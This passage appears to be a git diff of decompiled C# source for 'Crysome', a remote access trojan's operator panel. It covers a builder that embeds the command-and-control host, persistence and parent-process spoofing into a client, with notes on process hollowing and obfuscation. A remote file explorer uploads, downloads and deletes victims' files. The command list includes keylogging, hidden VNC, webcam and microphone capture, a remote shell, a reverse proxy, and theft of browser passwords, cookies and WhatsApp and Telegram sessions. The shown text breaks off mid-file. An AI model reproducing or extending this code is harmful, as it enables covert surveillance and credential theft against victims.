SetVer("FileVersion", AsmVersion); + SetVer("ProductVersion", AsmVersion); + SetVer("OriginalFilename", Path.GetFileName(text5)); + SetVer("InternalName", Path.GetFileNameWithoutExtension(text5)); + try + { + string[] array4 = AsmVersion.Split('.'); + if (array4.Length >= 4) + { + ushort.Parse(array4[0]); + ushort.Parse(array4[1]); + ushort.Parse(array4[2]); + ushort.Parse(array4[3]); + versionResource.FileVersion = AsmVersion; + versionResource.ProductVersion = AsmVersion; + } + } + catch (Exception ex3) + { + Log("FixedFileInfo update failed: " + ex3.Message); + } + versionResource.SaveTo(text5); + Log("Assembly info (native) updated."); + void SetVer(string key, string val) + { + try + { + if (stringTable.Strings.ContainsKey(key)) + { + stringTable.Strings.Remove(key); + } + StringTableEntry value = new StringTableEntry(key) + { + Value = val + }; + stringTable.Strings.Add(key, value); + } + catch (Exception ex9) + { + Log("SetVer failed for " + key + ": " + ex9.Message); + } + } + } + catch (Exception ex4) + { + Log("Assembly info update failed: " + ex4.Message); + } + try + { + Log("Updating .NET Assembly Attributes (dnlib)..."); + using ModuleDefMD moduleDefMD = ModuleDefMD.Load(text5); + AssemblyDef assembly = moduleDefMD.Assembly; + if (assembly != null) + { + assembly.Name = AsmTitle; + try + { + Version version = new Version(AsmVersion); + assembly.Version = version; + } + catch + { + } + moduleDefMD.Write(text5); + Log(".NET Assembly attributes updated."); + } + } + catch (Exception ex5) + { + Log("Warning: .NET attribute update failed or skipped: " + ex5.Message); + } + } + try + { + using (FileStream fileStream = new FileStream(text5, FileMode.Append, FileAccess.Write, FileShare.Read)) + { + string s = "##CRYCONFIG##" + text4; + byte[] bytes3 = Encoding.UTF8.GetBytes(s); + fileStream.Write(bytes3, 0, bytes3.Length); + } + Log("Tail config appended"); + } + catch (Exception ex6) + { + Log("WARNING: Tail config append failed: " + ex6.Message); + } + long length = new FileInfo(text5).Length; + Log("Config patched inside PE metadata (same file size, no resources)"); + Log(""); + Log("Host: " + IP.Trim()); + Log("Port: " + result); + Log("Group: " + (Group ?? "").Trim()); + Log("Persistence: " + FeatPersistence); + Log("Features: " + (string.IsNullOrEmpty(text) ? "all" : text)); + if (!string.IsNullOrEmpty(text3)) + { + Log("Parent spoof: " + text3 + ".exe"); + } + Log(""); + Log("BUILD DONE!"); + Log("Output: " + text5); + try + { + string text7 = Path.Combine(AppDomain.CurrentDomain.BaseDirectory, "Data", "inventory_rules.json"); + string text8 = Path.Combine(Path.GetDirectoryName(text5) ?? "", "inventory_rules.json"); + if (File.Exists(text7) && !string.IsNullOrEmpty(text8)) + { + File.Copy(text7, text8, overwrite: true); + Log("inventory_rules.json copied next to client."); + } + } + catch (Exception ex7) + { + Log("inventory_rules.json copy: " + ex7.Message); + } + Log("Size: " + length / 1024 + " KB"); + Log(""); + Log("Crypt-safe: config is inside PE metadata, not appended or in resources."); + Log("Works with process hollowing (msbuild, regasm, etc)."); + if (FeatObfuscate) + { + Log("Tip: For best obfuscation, use Client built without Costura: dotnet build Crysome.Client -p:ObfuscateBuild=true"); + } + } + catch (Exception ex8) + { + Log("ERROR: " + ex8.Message); + } + } + + private static string EscapeJson(string s) + { + if (string.IsNullOrEmpty(s)) + { + return ""; + } + return s.Replace("\\", "\\\\").Replace("\"", "\\\""); + } + + private void Log(string msg) + { + BuildLog.Add(string.IsNullOrEmpty(msg) ? "" : ("[" + DateTime.Now.ToString("HH:mm:ss") + "] " + msg)); + } +} diff --git a/Crysome.Server/Crysome.Server.ViewModel/ContextMenuFeatureItem.cs b/Crysome.Server/Crysome.Server.ViewModel/ContextMenuFeatureItem.cs new file mode 100644 index 0000000..92eed1b --- /dev/null +++ b/Crysome.Server/Crysome.Server.ViewModel/ContextMenuFeatureItem.cs @@ -0,0 +1,30 @@ +namespace Crysome.Server.ViewModel; + +public class ContextMenuFeatureItem : ViewModelBase +{ + private bool _isEnabled; + + public string Key { get; } + + public string DisplayName { get; } + + public bool IsEnabled + { + get + { + return _isEnabled; + } + set + { + _isEnabled = value; + OnPropertyChanged("IsEnabled"); + } + } + + public ContextMenuFeatureItem(string key, string displayName, bool isEnabled) + { + Key = key; + DisplayName = displayName; + _isEnabled = isEnabled; + } +} diff --git a/Crysome.Server/Crysome.Server.ViewModel/FileExplorerViewModel.cs b/Crysome.Server/Crysome.Server.ViewModel/FileExplorerViewModel.cs new file mode 100644 index 0000000..2cf1a9c --- /dev/null +++ b/Crysome.Server/Crysome.Server.ViewModel/FileExplorerViewModel.cs @@ -0,0 +1,560 @@ +using System; +using System.Collections.Generic; +using System.Collections.ObjectModel; +using System.ComponentModel; +using System.Diagnostics; +using System.IO; +using System.Windows; +using System.Windows.Data; +using System.Windows.Input; +using System.Windows.Threading; +using Crysome.Common.Model; +using Crysome.Common.Network.Packets; +using Crysome.Common.Network.Packets.Client; +using Crysome.Common.Network.Packets.Server; +using Crysome.Server.Model; +using Crysome.Server.Network; +using Microsoft.Win32; + +namespace Crysome.Server.ViewModel; + +public class FileExplorerViewModel : ViewModelBase, IDisposable +{ + private bool _downloadProgressVisible; + + private string _downloadStatusText; + + private double _downloadProgress; + + private string _pendingDownloadSavePath; + + private Stopwatch _downloadStopwatch; + + private readonly MainViewModel _mainVm; + + private bool _disposed; + + private string[] _drives; + + private FileSystemEntry _currentDirectory; + + private FileSystemEntry _selectedFile; + + private string _sortMode = "Name"; + + public bool DownloadProgressVisible + { + get + { + return _downloadProgressVisible; + } + set + { + _downloadProgressVisible = value; + OnPropertyChanged(() => DownloadProgressVisible); + } + } + + public string DownloadStatusText + { + get + { + return _downloadStatusText; + } + set + { + _downloadStatusText = value; + OnPropertyChanged(() => DownloadStatusText); + } + } + + public double DownloadProgress + { + get + { + return _downloadProgress; + } + set + { + _downloadProgress = value; + OnPropertyChanged(() => DownloadProgress); + } + } + + public ObservableCollection Files { get; set; } + + public ICollectionView FilesView { get; private set; } + + public Stack BackHistory { get; set; } + + public Stack ForwardHistory { get; set; } + + public bool CanGoBackward => BackHistory.Count > 0; + + public bool CanGoForward => ForwardHistory.Count > 0; + + public string[] Drives + { + get + { + return _drives; + } + set + { + _drives = value; + OnPropertyChanged(() => Drives); + } + } + + public FileSystemEntry CurrentDirectory + { + get + { + return _currentDirectory; + } + set + { + _currentDirectory = value; + OnPropertyChanged(() => CurrentDirectory); + } + } + + public FileSystemEntry SelectedFile + { + get + { + return _selectedFile; + } + set + { + _selectedFile = value; + OnPropertyChanged(() => _selectedFile); + } + } + + public string SortMode + { + get + { + return _sortMode; + } + set + { + _sortMode = value ?? "Name"; + OnPropertyChanged(() => SortMode); + ApplySort(); + } + } + + public string[] SortOptions { get; } = new string[4] { "Name", "DateModified", "Size", "Type" }; + + public ICommand NavigateCommand { get; set; } + + public ICommand NavigateSelectedCommand { get; set; } + + public ICommand OpenCommand { get; set; } + + public ICommand SaveAsCommand { get; set; } + + public ICommand UploadCommand { get; set; } + + public ICommand PropertiesCommand { get; set; } + + public ICommand NavigateUpCommand { get; set; } + + public ICommand NavigateForwardCommand { get; set; } + + public ICommand NavigateBackCommand { get; set; } + + public ICommand DeleteFileCommand { get; set; } + + public ClientInfo Client { get; set; } + + public ICommand GoBackToClientsCommand { get; set; } + + public FileExplorerViewModel(CrysomeServer server, ClientInfo client, MainViewModel mainVm) + { + //IL_00ff: Unknown result type (might be due to invalid IL or missing references) + //IL_0109: Expected O, but got Unknown + //IL_0143: Unknown result type (might be due to invalid IL or missing references) + //IL_0148: Unknown result type (might be due to invalid IL or missing references) + //IL_0154: Expected O, but got Unknown + FileExplorerViewModel fileExplorerViewModel = this; + _mainVm = mainVm; + Files = new ObservableCollection(); + FilesView = CollectionViewSource.GetDefaultView(Files); + ApplySort(); + BackHistory = new Stack(); + ForwardHistory = new Stack(); + Client = client; + _mainVm.ClientsVM.RegisterActiveFileExplorer(client.Owner, this); + if (server.ClientCount > 0) + { + long num = _mainVm.ClientsVM.NextExplorerOpId(); + _mainVm.ClientsVM.RegisterGetDirectoryCallback(client.Owner, num, delegate(GetDirectoryResponsePacket p) + { + ((DispatcherObject)Application.Current).Dispatcher.Invoke((Action)delegate + { + fileExplorerViewModel.ApplyGetDirectoryResponse(p); + }); + }); + client.Owner.SendPacket((IPacket)new GetDirectoryRequestPacket(string.Empty, num)); + long requestId = _mainVm.ClientsVM.NextExplorerOpId(); + _mainVm.ClientsVM.RegisterGetDrivesCallback(client.Owner, requestId, delegate(GetDrivesResponsePacket p) + { + ((DispatcherObject)Application.Current).Dispatcher.Invoke((Action)delegate + { + fileExplorerViewModel.ApplyGetDrivesResponse(p); + }); + }); + client.Owner.SendPacket((IPacket)new GetDrivesRequestPacket + { + RequestId = requestId + }); + } + NavigateCommand = new RelayCommand(NavigateWithHistory); + NavigateSelectedCommand = new RelayCommand(NavigateSelected); + OpenCommand = new RelayCommand(OpenSelected); + SaveAsCommand = new RelayCommand(SaveAsSelected); + UploadCommand = new RelayCommand(delegate + { + fileExplorerViewModel.UploadFile(); + }); + PropertiesCommand = new RelayCommand(ShowProperties); + NavigateUpCommand = new RelayCommand(NavigateUp); + NavigateForwardCommand = new RelayCommand(NavigateForward); + NavigateBackCommand = new RelayCommand(NavigateBack); + DeleteFileCommand = new RelayCommand(DeleteFile); + GoBackToClientsCommand = new RelayCommand(delegate + { + mainVm.GoToClients(); + }); + } + + public void Dispose() + { + if (!_disposed) + { + _disposed = true; + if (Client?.Owner != null) + { + _mainVm.ClientsVM.UnregisterActiveFileExplorer(Client.Owner, this); + } + } + } + + private void ApplySort() + { + //IL_0066: Unknown result type (might be due to invalid IL or missing references) + //IL_0083: Unknown result type (might be due to invalid IL or missing references) + //IL_00a0: Unknown result type (might be due to invalid IL or missing references) + //IL_00bb: Unknown result type (might be due to invalid IL or missing references) + //IL_00d8: Unknown result type (might be due to invalid IL or missing references) + if (FilesView == null) + { + return; + } + using (FilesView.DeferRefresh()) + { + ((Collection)(object)FilesView.SortDescriptions).Clear(); + switch (SortMode) + { + case "DateModified": + ((Collection)(object)FilesView.SortDescriptions).Add(new SortDescription("LastWriteUtcTicks", ListSortDirection.Descending)); + break; + case "Size": + ((Collection)(object)FilesView.SortDescriptions).Add(new SortDescription("Size", ListSortDirection.Descending)); + break; + case "Type": + ((Collection)(object)FilesView.SortDescriptions).Add(new SortDescription("Type", ListSortDirection.Ascending)); + ((Collection)(object)FilesView.SortDescriptions).Add(new SortDescription("Name", ListSortDirection.Ascending)); + break; + default: + ((Collection)(object)FilesView.SortDescriptions).Add(new SortDescription("Name", ListSortDirection.Ascending)); + break; + } + } + } + + public void ApplyGetDirectoryResponse(GetDirectoryResponsePacket directoryResponse) + { + //IL_001e: Unknown result type (might be due to invalid IL or missing references) + //IL_0028: Expected O, but got Unknown + //IL_0109: Unknown result type (might be due to invalid IL or missing references) + //IL_0113: Expected O, but got Unknown + //IL_01a6: Unknown result type (might be due to invalid IL or missing references) + //IL_01b0: Expected O, but got Unknown + Files.Clear(); + CurrentDirectory = new FileSystemEntry(directoryResponse.Name, directoryResponse.Path, 0L, (FileType)0, 0L, (byte[])null); + OnPropertyChanged(() => CanGoBackward); + OnPropertyChanged(() => CanGoForward); + string[] folders = directoryResponse.Folders; + int num = ((folders != null) ? folders.Length : 0); + long[] folderLastWriteUtcTicks = directoryResponse.FolderLastWriteUtcTicks; + byte[][] folderIconPng = directoryResponse.FolderIconPng; + for (int num2 = 0; num2 < num; num2++) + { + long num3 = ((folderLastWriteUtcTicks != null && num2 < folderLastWriteUtcTicks.Length) ? folderLastWriteUtcTicks[num2] : 0); + byte[] array = ((folderIconPng != null && num2 < folderIconPng.Length) ? folderIconPng[num2] : null); + Files.Add(new FileSystemEntry(directoryResponse.Folders[num2], Path.Combine(CurrentDirectory.Path, directoryResponse.Folders[num2]), 0L, (FileType)0, num3, array)); + } + string[] files = directoryResponse.Files; + int num4 = ((files != null) ? files.Length : 0); + long[] fileLastWriteUtcTicks = directoryResponse.FileLastWriteUtcTicks; + byte[][] fileIconPng = directoryResponse.FileIconPng; + for (int num5 = 0; num5 < num4; num5++) + { + long num6 = ((fileLastWriteUtcTicks != null && num5 < fileLastWriteUtcTicks.Length) ? fileLastWriteUtcTicks[num5] : 0); + byte[] array2 = ((fileIconPng != null && num5 < fileIconPng.Length) ? fileIconPng[num5] : null); + Files.Add(new FileSystemEntry(directoryResponse.Files[num5], Path.Combine(CurrentDirectory.Path, directoryResponse.Files[num5]), directoryResponse.FileSizes[num5], (FileType)1, num6, array2)); + } + ApplySort(); + } + + public void ApplyGetDrivesResponse(GetDrivesResponsePacket getDrivesPacket) + { + Drives = getDrivesPacket.Drives; + } + + public void ApplyNotifyStatus(NotifyStatusResponsePacket statusPacket) + { + _mainVm.ClientsVM?.EnqueueStatus(statusPacket.StatusMessage); + } + + private void Navigate(string path) + { + //IL_0046: Unknown result type (might be due to invalid IL or missing references) + //IL_0050: Expected O, but got Unknown + long num = _mainVm.ClientsVM.NextExplorerOpId(); + _mainVm.ClientsVM.RegisterGetDirectoryCallback(Client.Owner, num, delegate(GetDirectoryResponsePacket p) + { + ((DispatcherObject)Application.Current).Dispatcher.Invoke((Action)delegate + { + ApplyGetDirectoryResponse(p); + }); + }); + Client.Owner.SendPacket((IPacket)new GetDirectoryRequestPacket(path, num)); + } + + private void NavigateWithHistory(string path) + { + if (CurrentDirectory != null && path != CurrentDirectory.Path) + { + BackHistory.Push(CurrentDirectory); + } + Navigate(path); + } + + private void NavigateSelected(string s) + { + //IL_000e: Unknown result type (might be due to invalid IL or missing references) + if (SelectedFile != null && (int)SelectedFile.Type == 0) + { + NavigateWithHistory(SelectedFile.Path); + } + } + + private void NavigateUp(string s) + { + NavigateWithHistory(Path.Combine(CurrentDirectory.Path, "..")); + } + + private void NavigateForward(string s) + { + BackHistory.Push(CurrentDirectory); + FileSystemEntry val = ForwardHistory.Pop(); + Navigate(val.Path); + } + + private void NavigateBack(string s) + { + ForwardHistory.Push(CurrentDirectory); + FileSystemEntry val = BackHistory.Pop(); + Navigate(val.Path); + } + + private void DeleteFile(string s) + { + //IL_0046: Unknown result type (might be due to invalid IL or missing references) + //IL_0050: Expected O, but got Unknown + if (SelectedFile != null) + { + FileSystemEntry selectedFile = SelectedFile; + if (MessageBox.Show("Delete " + selectedFile.Name + "?", "Confirm", MessageBoxButton.YesNo, MessageBoxImage.Question) == MessageBoxResult.Yes) + { + Client.Owner.SendPacket((IPacket)new DeleteFileRequestPacket(selectedFile.Path)); + _mainVm.ClientsVM?.EnqueueStatus("Delete sent for " + selectedFile.Name); + } + } + } + + private void OpenSelected(string s) + { + //IL_000f: Unknown result type (might be due to invalid IL or missing references) + if (SelectedFile != null && (int)SelectedFile.Type == 0) + { + NavigateWithHistory(SelectedFile.Path); + } + } + + private void SaveAsSelected(string s) + { + //IL_000f: Unknown result type (might be due to invalid IL or missing references) + //IL_0104: Unknown result type (might be due to invalid IL or missing references) + //IL_010e: Expected O, but got Unknown + if (SelectedFile == null) + { + return; + } + if ((int)SelectedFile.Type == 0) + { + _mainVm.ClientsVM?.EnqueueStatus("Select a file to download."); + return; + } + SaveFileDialog saveFileDialog = new SaveFileDialog + { + FileName = SelectedFile.Name, + Filter = "All files|*.*", + DefaultExt = Path.GetExtension(SelectedFile.Name) + }; + if (saveFileDialog.ShowDialog() != true) + { + return; + } + string fileName = saveFileDialog.FileName; + _pendingDownloadSavePath = fileName; + DownloadProgressVisible = true; + DownloadProgress = 0.0; + DownloadStatusText = "Downloading..."; + _downloadStopwatch = Stopwatch.StartNew(); + long num = _mainVm.ClientsVM.NextExplorerOpId(); + _mainVm.ClientsVM.RegisterReadFileCallback(Client.Owner, num, delegate(ReadFileResponsePacket resp) + { + ((DispatcherObject)Application.Current).Dispatcher.Invoke((Action)delegate + { + CompleteDownloadSave(resp); + }); + }); + Client.Owner.SendPacket((IPacket)new ReadFileRequestPacket(SelectedFile.Path, num)); + } + + private void CompleteDownloadSave(ReadFileResponsePacket resp) + { + string pendingDownloadSavePath = _pendingDownloadSavePath; + _pendingDownloadSavePath = null; + try + { + if (resp.Success && resp.Data != null) + { + File.WriteAllBytes(pendingDownloadSavePath, resp.Data); + TimeSpan timeSpan = _downloadStopwatch?.Elapsed ?? TimeSpan.Zero; + _mainVm.ClientsVM?.EnqueueStatus($"Saved to {pendingDownloadSavePath} ({resp.Data.Length / 1024} KB in {timeSpan.TotalSeconds:F1}s)"); + } + else + { + _mainVm.ClientsVM?.EnqueueStatus("Download failed: " + (((resp != null) ? resp.ErrorMessage : null) ?? "Unknown error")); + } + } + catch (Exception ex) + { + _mainVm.ClientsVM?.EnqueueStatus("Save failed: " + ex.Message); + } + DownloadProgressVisible = false; + DownloadStatusText = ""; + } + + private void UploadFile() + { + //IL_0175: Unknown result type (might be due to invalid IL or missing references) + //IL_017a: Unknown result type (might be due to invalid IL or missing references) + //IL_0182: Unknown result type (might be due to invalid IL or missing references) + //IL_018a: Unknown result type (might be due to invalid IL or missing references) + //IL_0196: Expected O, but got Unknown + if (CurrentDirectory == null) + { + return; + } + OpenFileDialog openFileDialog = new OpenFileDialog + { + Filter = "All files|*.*" + }; + if (openFileDialog.ShowDialog() != true) + { + return; + } + byte[] array; + try + { + array = File.ReadAllBytes(openFileDialog.FileName); + } + catch (Exception ex) + { + _mainVm.ClientsVM?.EnqueueStatus("Upload read error: " + ex.Message); + return; + } + long num = (long)_mainVm.ClientsVM.Store.Settings.MaxSendFileSizeMB * 1024L * 1024; + if (num > 0 && array.Length > num) + { + _mainVm.ClientsVM?.EnqueueStatus("File too large (limit " + _mainVm.ClientsVM.Store.Settings.MaxSendFileSizeMB + " MB)"); + return; + } + string name = Path.GetFileName(openFileDialog.FileName); + string destPath = Path.Combine(CurrentDirectory.Path, name); + long transferId = _mainVm.ClientsVM.NextExplorerOpId(); + DownloadProgressVisible = true; + DownloadStatusText = "Uploading..."; + _mainVm.ClientsVM.RegisterWriteFileCallback(Client.Owner, transferId, delegate(WriteFileResponsePacket resp) + { + ((DispatcherObject)Application.Current).Dispatcher.Invoke((Action)delegate + { + DownloadProgressVisible = false; + DownloadStatusText = ""; + if (resp.Success) + { + _mainVm.ClientsVM?.EnqueueStatus("Uploaded " + name); + Navigate(CurrentDirectory.Path); + } + else + { + _mainVm.ClientsVM?.EnqueueStatus("Upload failed: " + (resp.ErrorMessage ?? "?")); + } + }); + }); + Client.Owner.SendPacket((IPacket)new WriteFileRequestPacket + { + DestPath = destPath, + TransferId = transferId, + Data = array + }); + } + + private void ShowProperties(string s) + { + //IL_0011: Unknown result type (might be due to invalid IL or missing references) + //IL_00a9: Unknown result type (might be due to invalid IL or missing references) + if (SelectedFile != null) + { + FileSystemEntry selectedFile = SelectedFile; + string value = (((int)selectedFile.Type == 0) ? "—" : FormatFileSize(selectedFile.Size)); + string value2 = ((selectedFile.LastWriteUtcTicks > 0) ? new DateTime(selectedFile.LastWriteUtcTicks, DateTimeKind.Utc).ToLocalTime().ToString("yyyy-MM-dd HH:mm") : "—"); + MessageBox.Show($"Name: {selectedFile.Name}\nPath: {selectedFile.Path}\nType: {selectedFile.Type}\nSize: {value}\nModified: {value2}", "Properties", MessageBoxButton.OK, MessageBoxImage.Asterisk); + } + } + + private static string FormatFileSize(long bytes) + { + if (bytes < 1024) + { + return bytes + " B"; + } + if (bytes < 1048576) + { + return ((double)bytes / 1024.0).ToString("F1") + " KB"; + } + if (bytes < 1073741824) + { + return ((double)bytes / 1048576.0).ToString("F1") + " MB"; + } + return ((double)bytes / 1073741824.0).ToString("F1") + " GB"; + } +} diff --git a/Crysome.Server/Crysome.Server.ViewModel/MainViewModel.cs b/Crysome.Server/Crysome.Server.ViewModel/MainViewModel.cs new file mode 100644 index 0000000..c996fed --- /dev/null +++ b/Crysome.Server/Crysome.Server.ViewModel/MainViewModel.cs @@ -0,0 +1,63 @@ +using Crysome.Server.Model; +using Crysome.Server.Network; + +namespace Crysome.Server.ViewModel; + +public class MainViewModel : ViewModelBase +{ + private ViewModelBase _currentPageViewModel; + + public ViewModelBase CurrentPageViewModel + { + get + { + return _currentPageViewModel; + } + set + { + _currentPageViewModel = value; + OnPropertyChanged("CurrentPageViewModel"); + } + } + + public ManageClientsViewModel ClientsVM { get; private set; } + + public MainViewModel() + { + ClientsVM = new ManageClientsViewModel(this); + CurrentPageViewModel = ClientsVM; + } + + public void GoToClients() + { + if (CurrentPageViewModel is FileExplorerViewModel fileExplorerViewModel) + { + fileExplorerViewModel.Dispose(); + } + CurrentPageViewModel = ClientsVM; + } + + public void GoToBuilder() + { + CurrentPageViewModel = new BuilderViewModel(this); + } + + public void GoToFileExplorer(CrysomeServer server, ClientInfo client) + { + if (CurrentPageViewModel is FileExplorerViewModel fileExplorerViewModel) + { + fileExplorerViewModel.Dispose(); + } + CurrentPageViewModel = new FileExplorerViewModel(server, client, this); + } + + public void GoToSettings() + { + CurrentPageViewModel = new SettingsViewModel(this, ClientsVM.Store); + } + + public void GoToPlugins() + { + CurrentPageViewModel = new PluginManagerViewModel(this, ClientsVM.Store); + } +} diff --git a/Crysome.Server/Crysome.Server.ViewModel/ManageClientsViewModel.cs b/Crysome.Server/Crysome.Server.ViewModel/ManageClientsViewModel.cs new file mode 100644 index 0000000..7094c33 --- /dev/null +++ b/Crysome.Server/Crysome.Server.ViewModel/ManageClientsViewModel.cs @@ -0,0 +1,4265 @@ +using System; +using System.Collections.Concurrent; +using System.Collections.Generic; +using System.Collections.ObjectModel; +using System.ComponentModel; +using System.IO; +using System.Linq; +using System.Media; +using System.Net; +using System.Net.Sockets; +using System.Reflection; +using System.Text; +using System.Text.RegularExpressions; +using System.Threading; +using System.Threading.Tasks; +using System.Windows; +using System.Windows.Controls; +using System.Windows.Data; +using System.Windows.Input; +using System.Windows.Media; +using System.Windows.Threading; +using Crysome.Common.Network; +using Crysome.Common.Network.FileTransfer; +using Crysome.Common.Network.Packets; +using Crysome.Common.Network.Packets.Client; +using Crysome.Common.Network.Packets.Server; +using Crysome.Server.Data; +using Crysome.Server.Model; +using Crysome.Server.Network; +using Crysome.Server.View; +using Microsoft.Win32; + +namespace Crysome.Server.ViewModel; + +public class ManageClientsViewModel : ViewModelBase +{ + private class RdpQualityState + { + public int Level = 6; + + public int CurrentQuality = 80; + + public int GoodStreak; + + public int BadStreak; + + public DateTime LastFrameTime = DateTime.MinValue; + + public int IntervalMs = 33; + } + + private sealed class ReverseProxyState + { + public TcpListener Listener; + + public int NextConnectionId; + + public ConcurrentDictionary Connections = new ConcurrentDictionary(); + + public volatile bool Running; + + public CrysomeClient Owner; + } + + private readonly MainViewModel _mainViewModel; + + private CrysomeServer server; + + private readonly AppDataStore store = new AppDataStore(); + + private readonly DispatcherTimer infoTimer; + + private readonly ConcurrentDictionary _activeSenders = new ConcurrentDictionary(); + + private readonly DispatcherTimer _uiThrottleTimer; + + private bool _pendingUpdates; + + private readonly object _clientLock = new object(); + + private int infoRobin; + + private string _lastCmd = ""; + + private string _lastFilePath = ""; + + private long _nextExplorerOpId; + + private readonly ConcurrentDictionary<(CrysomeClient Client, long Id), Action> _pendingReadFileResponses = new ConcurrentDictionary<(CrysomeClient, long), Action>(); + + private readonly ConcurrentDictionary<(CrysomeClient Client, long Id), Action> _pendingWriteFileResponses = new ConcurrentDictionary<(CrysomeClient, long), Action>(); + + private readonly ConcurrentDictionary<(CrysomeClient Client, long Id), Action> _pendingGetDirectoryResponses = new ConcurrentDictionary<(CrysomeClient, long), Action>(); + + private readonly ConcurrentDictionary<(CrysomeClient Client, long Id), Action> _pendingGetDrivesResponses = new ConcurrentDictionary<(CrysomeClient, long), Action>(); + + private readonly ConcurrentDictionary _activeFileExplorers = new ConcurrentDictionary(); + + private readonly HashSet _logCategoryHide = new HashSet(StringComparer.OrdinalIgnoreCase) { "MIC", "CAM" }; + + private ICollectionView _logEntriesView; + + private ClientInfo _selectedClient; + + private List _selectedClients = new List(); + + private string _serverStatus = "Stopped • t.me/CuriousCracks"; + + private int _clientCount; + + private string _statusMessage = ""; + + private List allClients = new List(); + + private int _proxyStartCount; + + private readonly List<(string Address, string Port)> _proxyResultsForModal = new List<(string, string)>(); + + private DispatcherTimer _proxyModalTimer; + + private readonly Dictionary> _processListCallbacks = new Dictionary>(); + + private readonly Dictionary> _shellOutputCallbacks = new Dictionary>(); + + private readonly Dictionary> _audioDataCallbacks = new Dictionary>(); + + private readonly Dictionary> _cameraFrameCallbacks = new Dictionary>(); + + private readonly Dictionary> _desktopFrameHandlers = new Dictionary>(); + + private readonly Dictionary> _hvncFrameHandlers = new Dictionary>(); + + private readonly Dictionary _reverseProxyState = new Dictionary(); + + private readonly Dictionary> _keyloggerCallbacks = new Dictionary>(); + + private readonly Dictionary> _chatHandlers = new Dictionary>(); + + private readonly Dictionary> _cameraDevicesCallbacks = new Dictionary>(); + + private readonly Dictionary> _audioDevicesCallbacks = new Dictionary>(); + + private readonly Dictionary> _audioStreamHandlers = new Dictionary>(); + + private readonly Dictionary> _screensCallbacks = new Dictionary>(); + + private readonly Dictionary> _rdpQualityCallbacks = new Dictionary>(); + + private readonly Dictionary _rdpQualityStates = new Dictionary(); + + private static readonly (int Quality, int IntervalMs)[] _rdpLevels = new(int, int)[7] + { + (30, 100), + (40, 66), + (50, 50), + (60, 40), + (70, 33), + (80, 25), + (85, 16) + }; + + private bool _isRefreshingClientList; + + private string _filterCountry = "All"; + + private string _filterOS = "All"; + + private string _filterGroup = "All"; + + private string _filterPing = "All"; + + private int _uniqueCountriesCount; + + private int _averagePing; + + private int _activeWindowsCount; + + private int _activeHvncCount; + + private int _activeRdpCount; + + private bool _appsExpanded; + + private bool _bankExpanded; + + private bool _casinoExpanded; + + private string _newBlocklistIP = ""; + + private string _blocklistSelectedIP; + + private readonly ConcurrentDictionary> _offlineKeylogCallbacks = new ConcurrentDictionary>(); + + public ObservableCollection Clients { get; set; } + + public ObservableCollection LogEntries { get; set; } + + public string LogCategoryFilter + { + get + { + return string.Join(",", _logCategoryHide); + } + set + { + _logCategoryHide.Clear(); + if (!string.IsNullOrWhiteSpace(value)) + { + string[] array = value.Split(new char[2] { ',', ';' }, StringSplitOptions.RemoveEmptyEntries); + foreach (string text in array) + { + _logCategoryHide.Add(text.Trim()); + } + } + OnPropertyChanged("LogCategoryFilter"); + try + { + ICollectionView logEntriesView = LogEntriesView; + if (logEntriesView != null) + { + logEntriesView.Refresh(); + } + } + catch + { + } + } + } + + public ICollectionView LogEntriesView + { + get + { + return _logEntriesView; + } + private set + { + _logEntriesView = value; + OnPropertyChanged("LogEntriesView"); + } + } + + public ClientInfo SelectedClient + { + get + { + return _selectedClient; + } + set + { + _selectedClient = value; + OnPropertyChanged("SelectedClient"); + OnPropertyChanged("IsItemSelected"); + } + } + + public bool IsItemSelected => SelectedClient != null; + + public List SelectedClients => _selectedClients; + + public string ServerStatus + { + get + { + return _serverStatus; + } + set + { + _serverStatus = value; + OnPropertyChanged("ServerStatus"); + } + } + + public int ClientCount + { + get + { + return _clientCount; + } + set + { + _clientCount = value; + OnPropertyChanged("ClientCount"); + } + } + + public string StatusMessage + { + get + { + return _statusMessage; + } + set + { + _statusMessage = value ?? ""; + OnPropertyChanged("StatusMessage"); + } + } + + public ICommand SendCommandCmd { get; } + + public ICommand SendCommandAllCmd { get; } + + public ICommand SendFileCmd { get; } + + public ICommand SendFileAllCmd { get; } + + public ICommand DirectLinkCmd { get; } + + public ICommand DirectLinkAllCmd { get; } + + public ICommand CopySummaryCmd { get; } + + public ICommand PinToTopCmd { get; } + + public ICommand ExportSelectionCmd { get; } + + public ICommand Mute30Cmd { get; } + + public ICommand QuickHealthCmd { get; } + + public ICommand RepeatLastCmdCmd { get; } + + public ICommand RepeatLastFileCmd { get; } + + public ICommand AnnounceToggleCmd { get; } + + public ICommand EditNoteCmd { get; } + + public ICommand RestartClientCmd { get; } + + public ICommand OpenFileManagerCmd { get; } + + public ICommand OpenBuilderCmd { get; } + + public ICommand OpenSettingsCmd { get; } + + public ICommand CloseAppCmd { get; } + + public ICommand OpenPluginsCmd { get; } + + public ICommand Socks5ProxyCmd { get; } + + public ICommand TakeScreenshotCmd { get; } + + public ICommand ProcessManagerCmd { get; } + + public ICommand RemoteShellCmd { get; } + + public ICommand RemoteAudioCmd { get; } + + public ICommand RemoteCameraCmd { get; } + + public ICommand RemoteDesktopCmd { get; } + + public ICommand HvncCmd { get; } + + public ICommand KeyloggerCmd { get; } + + public ICommand RemoteChatCmd { get; } + + public ICommand CredentialsPasswordsCmd { get; } + + public ICommand CredentialsCookiesCmd { get; } + + public ICommand CredentialsBothCmd { get; } + + public ICommand CredentialsAutofillsCmd { get; } + + public ICommand CredentialsAllCmd { get; } + + public ICommand WhatsAppSessionCmd { get; } + + public ICommand TelegramSessionCmd { get; } + + public ICommand ToggleAppsExpandCmd { get; } + + public ICommand ToggleBankExpandCmd { get; } + + public ICommand ToggleCasinoExpandCmd { get; } + + public ICommand StartServerCmd { get; } + + public ICommand StopServerCmd { get; } + + public ICommand ExportLogCmd { get; } + + public ICommand AddBlocklistCmd { get; } + + public ICommand RemoveBlocklistCmd { get; } + + public ICommand BlockSelectedClientCmd { get; } + + public ICommand ClearFiltersCmd { get; } + + public bool IsSendCommandEnabled => store.IsContextMenuFeatureEnabled("SendCommand"); + + public bool IsSendCommandAllEnabled => store.IsContextMenuFeatureEnabled("SendCommandAll"); + + public bool IsSendFileEnabled => store.IsContextMenuFeatureEnabled("SendFile"); + + public bool IsSendFileAllEnabled => store.IsContextMenuFeatureEnabled("SendFileAll"); + + public bool IsDirectLinkEnabled => store.IsContextMenuFeatureEnabled("DirectLink"); + + public bool IsDirectLinkAllEnabled => store.IsContextMenuFeatureEnabled("DirectLinkAll"); + + public bool IsSocks5ProxyEnabled => 